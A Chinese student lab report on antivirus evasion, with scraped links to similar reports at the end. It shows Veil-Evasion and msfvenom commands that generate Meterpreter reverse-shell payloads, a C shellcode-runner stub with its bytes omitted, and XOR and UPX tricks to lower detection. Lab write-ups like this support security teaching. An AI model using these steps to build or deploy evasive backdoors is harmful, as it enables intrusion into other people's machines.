Exp3 免杀原理与实践

基于特征码的改变来实现免杀(实践过程记录)

MSF编码器编译后门检测

可以通过VirSCAN来检验后门抗杀能力。

ps:选择后门前修改其文件名,不得含有数字。

如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。

接下来将对免杀后门做一定研究。

Veil-Evasion免杀平台

Veil-Evasion的安装

如果直接使用 sudo apt-get install veil-evasion 可能会在安装过程中丢失一些压缩包。

可使用以下命令完整安装Veil-Evasion。

echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion

在终端下输入指令 veil 即可打开软件。

此时将会显示 Adding x86 architecture to x86_64 system for Wine ,需要安装Wine和wWine32。

使用以下命令依次安装软件:

apt-get install wine
apt-get install nfs-common
apt-get install wine32

再次进入veil界面,将会自动安装、展开、更新或升级软件包,过程很漫长……

之后需要安装很多软件,选择默认安装选项即可。

Veil-Evasion的使用

在终端输入 veil 进入Veil-Evasion。

接着输入use evasion

之后依次输入以下命令:

use python/meterpreter/rev_tcp.py  //设置payload
set LHOST 192.168.253.128 //设置反弹连接IP(kali的IP地址)
set port 443 //设置反弹端口443,默认为4444
generate //生成
5216 //程序名

输入文件名后选择1

1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。

之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py

而后继续输入后面的内容,生成相应的文件:

在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:

测试结果比之前的好很多。

接下来进行回连尝试:

回连成功。

利用shellcode编程实现免杀

使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=443 -f c生成C语言的shellcode。

或者使用 msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.253.128 -f c

将其手动复制到code::blocks中运行,生成exe可执行文件。

#include <stdio.h>
#include <stdlib.h>
#include <string.h> unsigned char buf[] =
"此处省去若干行" int main()
{
int (*func)()=(int(*)())buf;
func();
}

生成后360会给出警告:

进行免杀测试:

进行回连尝试:

回连成功。

但使用第二种方法效果更好一些:

免杀进阶

压缩加壳

首先用UPX对生成的exe文件尝试压缩加壳

压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。

修改shellcode

对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。

只有3个杀毒软件报毒,比起之前的检测结果有了好转。

对shellcode进行异或后再进行加压

结果比只进行异或多了一个杀毒软件报毒。

回连尝试

通过上述三种修改后的shellcode编译出的可执行均可回连成功。

基础问题回答

  • 1、杀软是如何检测出恶意代码的?

恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

  • 2、免杀是做什么?

对恶意软件做处理,让它不被杀毒软件所检测。

  • 3、免杀的基本方法有哪些?

(1)加壳。

(2)对shellcode编码进行处理。

实践总结与体会

可能是现在杀毒软件对加壳的文件太过于敏感,加壳之后会被更多的杀毒软件检测出来。

国产杀毒软件江民杀毒很奇怪,简单的后门其他杀毒软件报错,而它不报错;等到之后对修改后的shellcode生成的exe进行检测时,其他杀毒软件能通过,它就开始拦截了,并且清楚地提示为后门程序。

还有的杀毒软件在修改或加压前提示是后门,修改后就提示为特洛伊木马。

感觉3个杀毒软件报毒已经比较极限了,也有可能是C语言编译器的问题。我尝试用helloworld代码的可执行文件进行检测,结果也有3个报毒。

离实战还缺些什么技术或步骤?

1、如果要植入后门并回连,首先要能够ping通对方的主机。有时候在同一无线网下都ping不通,更别提路由中转。

2、如何让后门在对方的主机上启动也是个至关重要的问题。

20155216 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. ActiveReports 报表控件V12新特性 -- 无需ETL处理,即可实现跨数据源分析数据

    ActiveReports是一款专注于 .NET 平台的报表控件,全面满足 HTML5 / WinForms / ASP.NET / ASP.NET MVC / WPF 等平台下报表设计和开发工作需求 ...

  2. 禅道项目管理软件 为提交Bug页面添加“优先级”字段

    为提交Bug页面添加“优先级”字段 by:授客 QQ:1033553122 测试环境: 禅道项目管理软件7.1.stable版本 备注:仅适合windows版本,linux下,直接在页面管理后台安装官 ...

  3. KeyPress 和KeyDown 、KeUp之间的区别

    前几天,在写完一个功能模块上线测试的时候,出现了一个诡异的问题.input 框在输入查询内容之后,按回车键居然有两种不同的表现形式(input 框没有绑定键盘事件),谷歌和火狐功能正常,但IE在按了回 ...

  4. Express浅谈

    写给鸟自己的,大家如果不慎百度到这里来了,真好也在做这块功能,不懂的可以联系鸟.微信:jkxx123321 const Sequelize = require('sequelize'); const ...

  5. 【three.js练习程序】创建简单物理场景

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  6. Distribution setup SQL Server Agent error: "RegCreateKeyEx() returned error 5, 'Access is denied.'" (转载)

    In the Configure Distribution Wizard, the step "Configuring SQL Server Agent to start automatic ...

  7. MySQL基础之---mysqlimport工具和LOAD DATA命令导入文本文件

     1.mysqlimport工具的使用 看一下命令的使用方法: shell > mysqlimport -u root -p [--LOCAL] DBname File [option] --f ...

  8. javascript 正则表达式的使用

    1. 语法 有两种定义正则表达式的方式 字面量形式 var expression = /pattern/flags 引用 MDN 的解释: pattern:正则表达式的文本. flags:标志,可以是 ...

  9. 面向对象程序设计_Task7_Summary

    Summary of the ... 题目链接:第七次作业 终于还是迎来了这学期的最后一次作业,唠叨话还是放最后说,先说说计算器这玩意儿吧 贯穿了整个学期的计算器,要是让我对自己做个评价,顶多只是还好 ...

  10. vue组件-子组件向父组件传递数据-自定义事件

    自定义事件 我们知道,父组件是使用 props 传递数据给子组件,但如果子组件要把数据传递回去,应该怎样做?那就是自定义事件!